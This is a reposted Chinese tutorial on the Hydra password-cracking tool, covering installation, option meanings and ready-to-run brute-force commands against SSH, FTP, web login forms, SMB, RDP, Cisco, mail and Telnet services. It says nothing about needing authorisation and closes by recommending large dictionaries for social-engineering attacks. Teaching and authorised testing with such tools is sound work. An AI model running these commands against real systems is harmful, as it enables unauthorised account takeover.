聲明:轉載於/content/3696591.html
一、簡介
hydra
Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.
Hydra was tested to compile on Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1 and OSX, and is made available under GPLv3 with a special OpenSSL license expansion.
Currently this tool supports:
AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
For HTTP, POP3, IMAP and SMTP, several login mechanisms like plain and MD5 digest etc. are supported.
This tool is a proof of concept code, to give researchers and security consultants the possiblity to show how easy it would be to gain unauthorized access from remote to a system.
The program is maintained by van Hauser and David Maciejak.
The Hackers Choice
http://www.thc.org/thc-hydra
二、安裝
1、安裝相關依賴包
Ubuntu/Debian
[code]apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev hydra
Debian和Ubuntu發行版,源裡自帶hydra,直接用apt-get在線安裝。
Redhat/Fedora
[code]yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
OpenSuSE
[code]zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel
本實驗用的是 CentOS release 5.6 (Final),執行yum install 後相關依賴包安裝情況如下:
2、Hydra 安裝
[code]# wgethttp://www.thc.org/releases/hydra-7.4.1.tar.gz # tar zxvf hydra-7.4.1.tar.gz
# cd hydra-7.4.1
# ./configure
# make && make install
# ./configure 會檢測當前系統一些組件配置,主要是對於破解支持模塊的檢測,可根據需要安裝對應的支持庫和依賴包。
[code]#make
#make install
三、Syntax
[code]# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R
繼續從上一次進度接著破解
-S
大寫,采用SSL鏈接
-s
小寫,可通過這個參數指定非默認端口
-l
指定破解的用戶,對特定用戶破解
-L
指定用戶名字典
-p
小寫,指定密碼破解,少用,一般是采用密碼字典
-P
大寫,指定密碼字典
-e
可選選項,n:空密碼試探,s:使用指定用戶和密碼試探
-C
使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數
-M
指定目標列表文件一行一條
-o
指定結果輸出文件
-f
在使用-M參數以後,找到第一對登錄名或者密碼的時候中止破解
-t
同時運行的線程數,默認為16
-w
設置最大超時的時間,單位秒,默認是30s
-v / -V
顯示詳細過程
server
目標ip
service
指定服務名,支持的服務和協議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT
可選項
四、實例
1、手動創建用戶名字典和密碼字典,這裡只是為了演示,只加了幾個用戶名和弱口令。真正破解時,需要利用密碼字典生成器生成強大的字典。
2、破解ssh:
[code]# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh
破解成功,直接顯示結果。
也可以使用 -o 選項指定結果輸出文件。
[code]# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh
五、其他類型密碼破解
破解ftp:
[code]# hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV
# hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
get方式提交,破解web登錄:
# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /admin/
# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,破解web登錄:
該軟件的強大之處就在於支持多種協議的破解,同樣也支持對於web用戶界面的登錄破解,get方式提交的表單比較簡單,這裡通過post方式提交密碼破解提供思路。該工具有一個不好的地方就是,如果目標網站登錄時候需要驗證碼就無法破解了。帶參數破解如下:
[code]<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>
假設有以上一個密碼登錄表單,我們執行命令:
[code]# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
說明:破解的用戶名是admin,密碼字典是pass.lst,破解結果保存在ok.lst,-t 是同時線程數為1,-f 是當破解了一個密碼就停止,ip 是本地,就是目標ip,http-post-form表示破解是采用http 的post 方式提交的表單密碼破解。
後面參數是網頁中對應的表單字段的name 屬性,後面中的內容是表示錯誤猜解的返回信息提示,可以自定義。
破解https:
[code]# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
破解teamspeak:
[code]# hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak
破解cisco:
[code]# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
[code]# hydra -l administrator -P pass.txt 10.36.16.18 smb
破解pop3:
[code]# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
[code]# hydra ip rdp -l administrator -P pass.txt -V
破解http-proxy:
[code]# hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解imap:
[code]# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
破解telnet
[code]# hydra ip telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V
六、總結
此工具強大之處遠多於以上測試,其密碼能否破解關鍵在於強大的字典,對於社工型滲透來說,有時能夠得到事半功倍的效果。